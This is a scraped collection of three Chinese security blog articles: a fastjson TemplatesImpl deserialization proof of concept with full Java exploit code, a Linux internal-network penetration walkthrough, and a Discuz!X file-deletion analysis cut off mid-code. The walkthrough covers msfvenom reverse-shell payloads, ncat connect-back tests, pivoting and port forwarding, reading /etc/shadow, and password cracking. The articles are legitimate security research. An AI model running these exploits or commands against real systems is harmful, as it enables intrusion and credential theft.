静态分析得知，要构造一个可用的程序，肯定得引入denyList的库。刚开始fastjson官方公布漏洞信息时，当时就尝试构造验证程序，怎奈fastjson的代码确实庞大，还有asm机制，通过asm机制生成的临时代码下不了断点。当时也只能通过在通过类初始化的时候弹出一个计算器，很显然这个构造方式不具有通用性，最近jackson爆出反序列漏洞，其中就利用了TemplatesImpl类，而这个类有一个字段就是_bytecodes，有部分函数会根据这个_bytecodes生成java实例，简直不能再更妙，这就解决了fastjson通过字段传入一个类，再通过这个类执行有害代码。后来阅读ysoserial的代码时也发现在gadgets.java这个文件中也使用到了这个类来动态生成可执行命令的代码。下面是一个程序验证的代码：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
这个是Test.java的实现，在Test.java的构造函数中执行了一条命令，弹出计算器。编译Test.java得到Test.class供后续使用。后续会将Test.class的内容赋值给_bytecodes。让我们接着分析：
package person;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
/**
* Created by web on 2017/4/29.
*/
public class P{
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
在这个程序验证代码中，最核心的部分是_bytecodes，它是要执行的代码，@type是指定的解析类，fastjson会根据指定类去反序列化得到该类的实例，在默认情况下，fastjson只会反序列化公开的属性和域，而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性，_name也是私有域，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法，所以是设置不了的，弹计算器的图中展示了但是实际运行却没有使用，只能依赖于jdk的实现，作者在1.8.0_25,1.7.0_05测试都能弹出计算器，某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。接下来我们看下TemplatesImpl.java的几个关键函数：
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
在getTransletInstance调用defineTransletClasses，在defineTransletClasses方法中会根据_bytecodes来生成一个java类，生成的java类随后会被getTransletInstance方法用到生成一个实例，也也就到了最终的执行命令的位置Runtime.getRuntime.exec()
下面我们上一张调用链的图：
简单来说就是：
JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec
附上一张成功执行图：
## 总结
该程序验证的影响jdk
1.7，1.8版本，1.6未测试，但是需要在parseObject的时候设置Feature.SupportNonPublicField。
欢迎大家探讨。
转自绿盟科技博客： [原文链接](http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/) | 社区文章 |
来自nmask博客：https://thief.one/2017/08/09/2/
前段时间做了一次不算成功也不算完整的linux内网渗透，不算成功是因为并没有拿下内网中其他服务器的权限，不算完整是因为由于某些原因测试被迫暂时中止。虽然这次linux内网渗透不算是一个很好的教学案例，但我还是决定把过程记录一下，尤其重点记录linux内网渗透的思路，以防遗忘。
网上关于内网渗透的资料很多，我在做测试之前也是翻阅了很多资料。本篇标题突出linux，是因为本次测试不涉及windows系统，当然linux与windows内网渗透的原理差不多，只不过使用的工具有所区别。
### 收集测试网络环境
当我们拿到一台目标内网服务器，或者说肉鸡服务器，首先要做的就是收集信息。而在我看来需要收集的信息中，最重要的之一便是肉鸡的网络环境。
#### 实验环境
首先介绍下本次测试的服务器环境：
* 攻击机Mac：110.xx.xx.xx 外网
* 肉鸡centos：192.168.16.x 目标内网16网段系统
* 内网渗透范围：192.168.17.0/24 目标内网17网段系统
本次测试模拟假设：由于肉鸡服务器上对外开放了存在漏洞的web应用，被入侵植入webshell。
本次测试目的：通过肉鸡服务器上的shell，深入渗透内网17网段的服务器。
#### 收集测试哪些网络数据？
ok，目前我已经拥有了肉鸡的shell，那么该收集肉鸡服务器的哪些网络环境呢？又该如何去测试？我认为至少要收集以下几点网络环境信息：
* 肉鸡服务器与外网的连通性
* 肉鸡服务器与内网其他网段的连通性
* 肉鸡服务器与外网之间是否有端口访问限制
* 肉鸡服务器与内网其他网段之间是否有端口访问限制
注：连通性主要是指能否ping通，需要双方互相ping测试；端口访问限制，指的是目标网络边界是否有堡垒机或者防火墙，对进出的端口是否有做限制。
#### 端口访问限制测试
ping测试这里不介绍了，主要说下如何测试端口访问限制，可以使用的工具如下：
* curl、wget（可连接web服务，主要为80、443、8000+端口）
* telnet（可主动连接指定ip的指定port）
* nmap（可扫描端口，open或者filter）
* ncat（可以创建端口监听，也可以主动连接）
* python（可主动创建端口监听）
……
在测试端口访问限制前，我们先要搞清楚当前的网络环境。本次测试中，攻击机在外网而肉鸡在内网，因此正常情况下攻击机是无法直接访问到肉鸡上某个端口的（需要网络边界路由器做端口映射）。
##### 反向连接测试
我们在测试端口访问限制时，首先可以利用ncat在攻击机上监听一个端口。
ncat -l -p 9999
然后利用ncat或者telnet等工具在肉鸡上尝试连接，我称之为反向连接测试。
ncat 110.xx.xx.xx 9999
注：监听的端口可以随机选取，尽量选取多个端口尝试多次；如果肉鸡能够访问攻击机的任何端口，说明目标网络边界没有对出方向的连接做限制，了解这方面的信息对后面的端口转发有很大好处。
##### 正向连接测试
我们也可以在肉鸡上监听一个端口，攻击机上尝试连接（这里连接的是肉鸡的外网ip地址，肉鸡对外开放的web应用肯定是以一个外网ip或者域名的形式存在，而该ip在本次测试中并不是肉鸡真正的ip地址，是目标边界网络设备的ip，原理是通过端口映射将网络设备（外网ip）上的web端口映射到了肉鸡（内网ip）的web端口上），我称之为正向连接测试。
尝试连接肉鸡外网地址的端口，意义在于有些粗心的管理员会在网络设备上设置全端口映射，也就是说肉鸡上监听任何端口都能映射到网络边界设备的相同端口上，那么这跟肉鸡服务器直接处在外网就没差了。
### 收集服务器信息
收集信息可以说是渗透测试的第一步，内网渗透也一样，收集的服务器信息越多，渗透的成功率就越大。
#### 查看系统内核
linux系统上查看内核版本如下：
lsb_release –a
一般系统的入侵途径是先提权，而提权可以通过linux内核漏洞进行，因此可以先查看linux内核版本，然后根据内核[寻找exp的网站](https://www.kernel-exploits.com/)，上传exp进行提权。由于本次测试不涉及提权部分，因此不做测试，另外补充一句：内核提权有宕机风险，请谨慎操作。
#### 查看操作系统位数
linux系统上查看位数如下：
getconf LONG_BIT
说明：知道系统是32位还是64位对后期生成msf木马有帮助。
#### 系统敏感信息
收集一些系统相关的敏感信息，比如账号密码、日志、历史命令、ssh文件等。
/etc/shadow
/etc/passwd
/var/log
history
.ssh
......
#### web敏感信息
如果服务器存在web应用，可以查看web目录下是否存在敏感信息，比如连接数据库的配置文件等等。
### 内网扫描
当信息收集完成后，可以尝试扫描一下内网的机器，比如主机存活扫描、端口扫描、arp扫描等。端口扫描可以使用nmap、msf等工具，但如果服务器上没有安装这些工具时，通常有3种手段可以达到内网端口扫描的效果。第一种就是服务器上安装扫描工具，这里不多说也不推荐，因为动静大且麻烦；第二种就是端口转发，将服务器内网端口转发到外网进行扫描；第三种就是代理扫描，也就是把装有扫描工具的攻击机代理到目标内网环境。
无论是端口转发扫描还是代理扫描，原理都是打通攻击机（外网）与肉鸡（内网）的连通性，即让攻击机可以直接访问到肉鸡所在的内网资源。这里的连接不借助于目标网络边界设备的端口映射功能，因此与攻击机访问肉鸡web服务所产生的连接有所区别。
#### 端口转发
想要达到以上所介绍的彼此”直接”的连接，我们需要一个中间的桥梁，来传递内外网（攻击机与肉鸡）之间的数据。搭建这种桥梁的方式有很多，我们首先可以想到端口转发，即把肉鸡服务器上的某个端口转发到攻击机的某个端口上，这样攻击机上访问本机某个端口，就相当于访问了肉鸡服务器上的某个端口。
端口转发的工具：lcx、meterpreter等，具体用法后面会介绍
端口转发类型：tcp端口转发、http转发、ssh转发等
##### tcp端口转发
本机转发：攻击机上监听2222、3333端口，肉鸡上连接攻击机的2222端口，并转发肉鸡22端口。
转发连接原理：
肉鸡22端口<-->肉鸡随机高端口<-->肉鸡随机高端口<-->攻击机上2222高端口<-->攻击机随机高端口<-->攻击机3333端口
注：此时我们去连接攻击机的3333端口，就相当于连接了肉鸡的22端口。
远程转发：攻击机上监听2222、3333端口，肉鸡上连接攻击机的2222端口，并转发内网目标服务器的22端口。（前提是肉鸡能够连接目标服务器的22端口）
转发连接原理：
内网目标服务器22端口<-->肉鸡随机高端口<-->肉鸡随机高端口<-->攻击机上2222高端口<-->攻击机随机高端口<-->攻击机3333端口
注：此时我们去连接攻击机的3333端口，就相当于连接了目标服务器的22端口。
说明：从上面的连接过程不难看出，端口转发比较难以防范的原因就在于，攻击机上监听的端口是随机的，不可预知的，因此不可能事先在堡垒机或者防火墙上做出方向的端口策略，除非禁止服务器访问外部所有端口（现实情况大多只对进方向的端口连接做限制）。
##### http转发
有些安全意思强的管理员，会对一些服务器做禁止访问外网的策略，即服务器禁止连接任何外网的端口。此时普通的tcp端口转发就没有效果了，因为转发的前提是要能互相连接上。此种情况，可以使用http转发。
转发连接原理：
肉鸡web端口(80)<-->网络边界设备端口(80)<-->攻击机随机端口
注：这里之所以能够连通，是借助了服务器上的web服务，以及网络边界设备的映射功能。
说明：虽然肉鸡不能访问外网任何端口，但只要它对外提供web服务，就说明它还能跟外界通信，只不过这种通信局限于web服务端口中，并且肉鸡不是直接跟攻击机通信，而是借助了边界设备。
#### 代理扫描内网
以上介绍了几种端口转发的使用以及原理，从中我们不难看出端口转发固然厉害，但也很局限，因为每次都只能转发一个ip的一个端口，对于扫描来说，并不是最好的选择方案。因此出现了一种更好的技术方案–代理扫描，其原理与端口转发差不多，都是需要搭建一个桥梁，而这个桥梁往往不是某个端口，而是shell或者说session。
代理扫描同样可以分为tcp代理扫描、http代理扫描。
##### http代理转发
如果目标服务器有web系统，可以使用Regeorg + proxychains。
工具下载：[reGeorg](https://github.com/sensepost/reGeorg)、[proxychains](https://github.com/rofl0r/proxychains-ng)
将reGeorg的tunnel文件上传到肉鸡服务器到网站目录下，攻击机执行：
python reGeorgSocksProxy.py -p 2333 -u http://test.com/tunnel.php
然后修改proxychains.conf 配置文件
vim /etc/proxychains.conf （mac上在~/.proxychains/proxychains.conf ,没有则自己创建）
在最后一行添加socks5 127.0.0.1 2333(与regeorg设置的端口相同)
最后在攻击机使用扫描工具时，可以在执行的命令前加proxhchains4, 比如：
proxychains4 nmap -sT -Pn -n 192.168.16.0/24
注：此方案适合攻击者与肉鸡服务器都在各自内网环境，攻击者可以访问到目标服务器的http服务，通过该http服务进行代理转发（速度较慢）.
##### tcp代理转发
思路：通过metasploit木马反弹一个肉鸡的meterpreter shell到攻击机上，然后在meterpreter
shell上设置路由，我们便可以在攻击机上直接扫描肉鸡所在的网段服务器（这里是可以跨网段扫描的）。
<h6>生成msf木马</h6>
生成木马：
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=8000 -f elf > shell_8000.elf
由于攻击机无法访问肉鸡的端口，而肉鸡可以访问攻击机的端口，因此生成一个反向的木马。
<h6>反弹shell</h6>
攻击机运行msfconsole，使用exoloit/multi/handler模块，set payload
linux/x86/meterpreter/reverse_tcp跟生成木马时用的payload一样。LPORT设置成木马将要连接的端口，运行后会在攻击机上监听一个端口，等待木马链接。
此时将shell_8000.elf上传到肉鸡服务器上，添加权限后运行木马将会主动连接上攻击机监听的端口，并在攻击机上获取一个meterpreter
shell。
<h6>设置路由</h6>
上一步获取到了一个session，这个session是攻击机与肉鸡相互连接的会话。
查看下肉鸡的网络情况：
run get_local_subnets
[
添加路由:
run autoroute -s 192.168.16.0/24
查看路由：
run autoroute –p
[
一般来说，这里设置好路由就可以了，但是有些时候会发现在meterpreter中有效果，但是在msf中失效了，因此可以在msf中再设置一次。（但前提是meterpreter会话要一直存在）将该会话放入后台，进入msf中添加路由。
查看路由：
[
这里已经是添加好的结果，添加路由命令：
msf exploit(handler) > route add 192.168.16.0 255.255.255.0 12
msf exploit(handler) > route add 192.168.17.0 255.255.255.0 12
注意：12表示session id，由于我们需要访问17网段，因此这里也要添加17网段的路由。
说明：以上2条路由的意思，是攻击机如果要去访问17或者16网段的资源，其下一跳是session12，至于什么是下一条这里不多说了，反正就是目前攻击机可以访问内网资源了。
##### tcp全局代理转发
通过以上设置，在msf中可以访问内网资源了，但也仅限在msf中可以访问。如果想要其他工具也能使用代理，则要设置全局代理，这需要使用msf框架中的socks4a工具代理，目录：auxiliary/server/socks4a，然后配合Proxychains
，使用方法跟http代理类似。
注：此代理不是http代理，是tcp代理，因此需要目标服务器或者攻击者服务器，有一方在外网的环境，不然木马端口无法连接，也就无法获取meterpreter
shell。
metasploit操作可参考：[【渗透神器系列】Metasploit](https://thief.one/2017/08/01/1/)
#### 端口扫描工具
推荐使用metasploit进行tcp代理转发后，利用msf上面整合的很多扫描模块，直接进行扫描。
扫描模块：
* auxiliary/scanner/portscan 端口扫描
* scanner/portscan/syn SYN端口扫描
* scanner/portscan/tcp TCP端口扫描
……
除此之外，也可以使用nmap等扫描工具，结合tcp全局代理转发即可。
### 针对22端口的入侵
扫描出内网服务器端口后，我们可以首先选择开放22端口的服务器进行入侵尝试。攻击22端口通常有2种方法，第一种是先读取肉鸡明文密码，再利用明文密码尝试登陆；第二种是字典暴力登陆。
#### 尝试hash破解
如果权限足够，我们可以顺利读取/etc/shadow文件的内容，然而是密文的，因此可以尝试用工具破解。
* [John破解hash](http://www.openwall.com/john/)
* [Hashcat](https://github.com/hashcat/hashcat)
注：windows下可以使用[mimikatz](https://github.com/gentilkiwi/mimikatz)
说明：获取linux账号的明文密码作用很大，因为内网环境管理员可能就那么几个，不同服务器所设置的密码也有可能相同，因此可以使用获取的服务器密码去尝试登陆其余开放了22端口的内网服务器。
#### 字典暴力破解
这个没啥好说的，主要看字典是否强大，以及是否有防止爆破限制。
工具：
* hydra
* msf上的相应模块
### 针对其他端口的入侵
除了22端口外，21（ftp）、3306（mysql）、1433（mssql）等都可以通过暴力破解的方式。那么其他段端口呢？比如445、443等，这些则可以通过相应的漏洞进行攻击，通过可以使用nessus扫描器进行扫描，对发现的漏洞再集合msf上相应的模块进行攻击。
### 针对web服务的入侵
除了以上的端口外，还有一类端口比较特殊，那就是web服务类的端口，比如80、443、8000+等。由于这些端口上存在web应用，而web应用又是容易存在漏洞的点。因此可以重点寻找内网中存在web服务的服务器，并依照web渗透测试的流程对其web应用进行渗透。
### 端口转发的逆袭
前文介绍了端口转发技术，但在扫描环节中我并没有使用这种方案。那么是不是说端口转发在内网渗透中没有用武之地呢？
事实并不是这样，内网扫描过后的漏洞利用攻击阶段，才是端口转发真正的舞台。在此阶段，我们可以利用端口转发，将某个存在漏洞的服务器的某个端口转发出来，单独攻击利用。我们可以想到在windows中，利用lcx转发3389端口，linux下同样可以转发22端口，当然更好用的是转发80端口，达到可以本地访问内网的web服务，从而继续web渗透的套路，扩大攻击面。
#### meterpreter实现端口转发
在meterpreter shell中输入：
meterpreter > portfwd add -l 55555 -r 192.168.16.1 -p 3306
说明：表示将192.168.16.1服务器上的3306端口转发到本地（攻击机）的55555端口，然后我们可以在本地运行mysql –h 127.0.0.1
–u root –P 55555 –p 去登陆内网服务器的mysql。其他端口如ssh、ftp等都类似，这个过程跟msf代理很像。
##### 案例
将肉鸡的22端口转发到攻击机的2222端口，看一下连接情况。
发现攻击机上监听了2222端口，连接到了本机其外一个高端口。
[
肉鸡的22端口也连接到了肉鸡自己的一个高端口
[
那么两台服务器之间的两个高端口之间是怎么连接的，我想肯定是利用meterpreter会话。因此meterpreter会话就相当于一个中间人，传递原本无法传递的消息。
#### lcx端口转发
攻击机:
lcx -listen 2222 3333 # 2222为转发端口，3333为本机任意未被占用的端口
肉鸡：
lcx -slave 110.1.1.1 2222 127.0.0.1 3389
110.1.1.1为攻击机外网ip，2222为转发端口，127.0.0.1为肉鸡内网ip，3389为远程终端端口 。
### 内网嗅探
windows下可以使用cain，linux下可以使用msf中的模块。当然一般情况下，最好不要用内网嗅探，因为动静太大，而且可能会影响内网网络。
### linux内网安全建议
说了这么多内网渗透的套路，按惯例最后该给出内网安全建设的几点建议了，当然只是个人看法。
* 每台服务器上安装waf或者云盾，监控并拦截木马程序的运行
* 监控服务器上开启的新端口，查看其连接情况，是否有异常连接
* 服务器及时更新补丁
* 服务器上运行的应用给予低权限 | 社区文章 |
### Author:0r3ak@0kee Team&&warlock@0kee Team
#### 0x00 漏洞简介
漏洞名称：Discuz!X 前台任意文件删除
影响版本：全版本
危害等级：严重
#### 0x01 Discuz!X路由解析
在说漏洞前，咱们可以先来学习一下Discuz的执行流程，其实已经有大佬把任意文件删除漏洞分析扔网上了，所以这里我顺带剖析一下discuz的运行原理，其实搞懂一个系统的运行原理与架构比分析一个漏洞的价值更高吧，首先来看看Discuz项目的目录结构：
这里比较重要的是/source/目录，为程序模块功能函数，论坛所有的功能实现都要从主文件里面包含调用这里的模块来执行相应的操作
，/data/目录是附件数据、数据库与文件缓存，/api目录是第三方接口，包含了论坛的第三方接口文件，还有UCenter文件，这里也是漏洞常发文件，平时审计的时候也非常注重这个地方，/config不用说了配置文件，全局的核心配置文件，哪里要调用直接读取相应文件的字段值即可，更多了解参考如下链接:<http://www.godiscuz.com/dzman/discuzcode_dir_class.html>
不像现在大多数CMS系统使用流行开源框架在`application`里面来写`Controller`，`Controller`里面多个`function`，Discuz的服务端功能是以模块文件的形式来加载的，也就是说一个方法可能就是一个文件，要执行的时候去调用这个文件去执行就ok了，在根目录下放着所有的主文件，外部基本上都是访问这里的主文件，在主文件里面去调用执行指定的接口模块，大致流程是这样(以spacecp_profile为例)：
这里就拿系列漏洞触发的主文件home.php来看，home.php是论坛用户的个人中心文件：
<?php
/**
* [Discuz!] (C)2001-2099 Comsenz Inc.
* This is NOT a freeware, use is subject to license terms
*
* $Id: home.php 32932 2013-03-25 06:53:01Z zhangguosheng $
*/
define('APPTYPEID', 1);
define('CURSCRIPT', 'home');
if(!empty($_GET['mod']) && ($_GET['mod'] == 'misc' || $_GET['mod'] == 'invite')) {
define('ALLOWGUEST', 1);
}
require_once './source/class/class_core.php';
require_once './source/function/function_home.php';
$discuz = C::app();
$cachelist = array('magic','userapp','usergroups', 'diytemplatenamehome');
$discuz->cachelist = $cachelist;
$discuz->init();
$space = array();
$mod = getgpc('mod');
if(!in_array($mod, array('space', 'spacecp', 'misc', 'magic', 'editor', 'invite', 'task', 'medal', 'rss', 'follow'))) {
$mod = 'space';
$_GET['do'] = 'home';
}
if($mod == 'space' && ((empty($_GET['do']) || $_GET['do'] == 'index') && ($_G['inajax']))) {
$_GET['do'] = 'profile';
}
$curmod = !empty($_G['setting']['followstatus']) && (empty($_GET['diy']) && empty($_GET['do']) && $mod == 'space' || $_GET['do'] == 'follow') ? 'follow' : $mod;
define('CURMODULE', $curmod);
runhooks($_GET['do'] == 'profile' && $_G['inajax'] ? 'card' : $_GET['do']);
require_once libfile('home/'.$mod, 'module');
?>
首先获取外部`mod`变量，也就是模块名称，接着对`$mod`进行`gpc`判断，再看`$mod`是否在数组里面的，是否是指定的`space`模块，最终带入到`libfile`解析出模块路径进行包含执行，在浏览器post访问如下接口：
>POST /home.php?mod=spacecp&ac=profile&op=base
>data: affectivestatus＝wwwwshph0r3ak
通过动态调试跟进去：（注：代码还是以编辑形式展示，红色代码段为phpstorm跟进的地方）
function libfile($libname, $folder = '') {
$libpath = '/source/'.$folder;
if(strstr($libname, '/')) {
list($pre, $name) = explode('/', $libname);
$path = "{$libpath}/{$pre}/{$pre}_{$name}";
} else {
$path = "{$libpath}/{$libname}";
}
return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
}
这里`libfile`用于组合被包含文件的路径地址，从而包含执行目标文件，执行完后直接跳到/source/module/home/home_spacecp.php，前面一步可以看作是一个功能模块，后面这一步可以看作是在指定功能模块文件目录下去定位到目标文件，也就是最后要包含执行的脚本，这样会更好理解一些吧：
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
require_once libfile('function/spacecp');
require_once libfile('function/magic');
$acs = array('space', 'doing', 'upload', 'comment', 'blog', 'album', 'relatekw', 'common', 'class',
'swfupload', 'poke', 'friend', 'eccredit', 'favorite', 'follow',
'avatar', 'profile', 'theme', 'feed', 'privacy', 'pm', 'share', 'invite','sendmail',
'credit', 'usergroup', 'domain', 'click','magic', 'top', 'videophoto', 'index', 'plugin', 'search', 'promotion');
$_GET['ac'] = $ac = (empty($_GET['ac']) || !in_array($_GET['ac'], $acs))?'profile':$_GET['ac'];
$op = empty($_GET['op'])?'':$_GET['op'];
if(!in_array($ac, array('doing', 'upload', 'blog', 'album'))) {
$_G['mnid'] = 'mn_common';
}
if($ac != 'comment' || !$_G['group']['allowcomment']) {
if(empty($_G['uid'])) {
if($_SERVER['REQUEST_METHOD'] == 'GET') {
dsetcookie('_refer', rawurlencode($_SERVER['REQUEST_URI']));
} else {
dsetcookie('_refer', rawurlencode('home.php?mod=spacecp&ac='.$ac));
}
showmessage('to_login', '', array(), array('showmsg' => true, 'login' => 1));
}
$space = getuserbyuid($_G['uid']);
if(empty($space)) {
showmessage('space_does_not_exist');
}
space_merge($space, 'field_home');
if(($space['status'] == -1 || in_array($space['groupid'], array(4, 5, 6))) && $ac != 'usergroup') {
showmessage('space_has_been_locked');
}
}
$actives = array($ac => ' class="a"');
list($seccodecheck, $secqaacheck) = seccheck('publish');
$navtitle = lang('core', 'title_setup');
if(lang('core', 'title_memcp_'.$ac)) {
$navtitle = lang('core', 'title_memcp_'.$ac);
}
$_G['disabledwidthauto'] = 0;
require_once libfile('spacecp/'.$ac, 'include');
?>
通过外部`GET`进来的`ac`参数指定了`spacecp`模块下的子模块为`profile`,最后进入`include`目录下的`spacecp`模块里面的接口文件`spacecp_profile.php`，这个文件即是漏洞触发点，这个下面做分析，可以看到整个流程还是很简单的，论坛系统功本来是很复杂的，Discuz通过这样的外部传参，多步模块调用的形式使代码结构很容易被人理解。
### 0x02 分析Discuz!X个人资料模块
通过上面的分析知道最终包含执行的文件是/source/include/spacecp/spacecp_profile.php 个人资料模块
第一部分，从数据库中读取出“个人资料”模块中的五个字段：”基本资料”、“联系方式”、“教育情况”、“工作情况”、“个人信息”，再提取出当前用户的原始个人信息：
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
$defaultop = '';
$profilegroup = C::t('common_setting')->fetch('profilegroup', true);
foreach($profilegroup as $key => $value) {
if($value['available']) {
$defaultop = $key;
break;
}
}
$operation = in_array($_GET['op'], array('base', 'contact', 'edu', 'work', 'info', 'password', 'verify')) ? trim($_GET['op']) : $defaultop;
$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');
从`$operation`里可见这个模块还包含了“密码安全的功能”(password)和"用户名修改”(verify)的字段
if(submitcheck('profilesubmit')) {
require_once libfile('function/discuzcode');
$forum = $setarr = $verifyarr = $errorarr = array();
$forumfield = array('customstatus', 'sightml');
$censor = discuz_censor::instance();
if($_GET['vid']) {
$vid = intval($_GET['vid']);
$verifyconfig = $_G['setting']['verify'][$vid];
if($verifyconfig['available'] && (empty($verifyconfig['groupid']) || in_array($_G['groupid'], $verifyconfig['groupid']))) {
$verifyinfo = C::t('common_member_verify_info')->fetch_by_uid_verifytype($_G['uid'], $vid);
if(!empty($verifyinfo)) {
$verifyinfo['field'] = dunserialize($verifyinfo['field']);
}
foreach($verifyconfig['field'] as $key => $field) {
if(!isset($verifyinfo['field'][$key])) {
$verifyinfo['field'][$key] = $key;
}
}
} else {
$_GET['vid'] = $vid = 0;
$verifyconfig = array();
}
}
if(isset($_POST['birthprovince'])) {
$initcity = array('birthprovince', 'birthcity', 'birthdist', 'birthcommunity');
foreach($initcity as $key) {
$_GET[''.$key] = $_POST[$key] = !empty($_POST[$key]) ? $_POST[$key] : '';
}
}
if(isset($_POST['resideprovince'])) {
$initcity = array('resideprovince', 'residecity', 'residedist', 'residecommunity');
foreach($initcity as $key) {
$_GET[''.$key] = $_POST[$key] = !empty($_POST[$key]) ? $_POST[$key] : '';
}
}
foreach($_POST as $key => $value) {
$field = $_G['cache']['profilesetting'][$key];
if(in_array($field['formtype'], array('text', 'textarea')) || in_array($key, $forumfield)) {
$censor->check($value);
if($censor->modbanned() || $censor->modmoderated()) {
profile_showerror($key, lang('spacecp', 'profile_censor'));
}
}
if(in_array($key, $forumfield)) {
if($key == 'sightml') {
loadcache(array('smilies', 'smileytypes'));
$value = cutstr($value, $_G['group']['maxsigsize'], '');
foreach($_G['cache']['smilies']['replacearray'] AS $skey => $smiley) {
$_G['cache']['smilies']['replacearray'][$skey] = '';
}
$value = preg_replace($_G['cache']['smilies']['searcharray'], $_G['cache']['smilies']['replacearray'], trim($value));
$forum[$key] = discuzcode($value, 1, 0, 0, 0, $_G['group']['allowsigbbcode'], $_G['group']['allowsigimgcode'], 0, 0, 1);
} elseif($key=='customstatus' && $allowcstatus) {
$forum[$key] = dhtmlspecialchars(trim($value));
}
continue;
} elseif($field && !$field['available']) {
continue;
} elseif($key == 'timeoffset') {
if($value >= -12 && $value <= 12 || $value == 9999) {
C::t('common_member')->update($_G['uid'], array('timeoffset' => intval($value)));
}
} elseif($key == 'site') {
if(!in_array(strtolower(substr($value, 0, 6)), array('http:/', 'https:', '[ftp://'](https://webmail.alibaba-inc.com/alimail/#this);, 'rtsp:/', 'mms://')) && !preg_match('/^static\//', $value) && !preg_match('/^data\//', $value)) {
$value = '[http://'.$value](http://%27.%24value/);
}
}
if($field['formtype'] == 'file') {
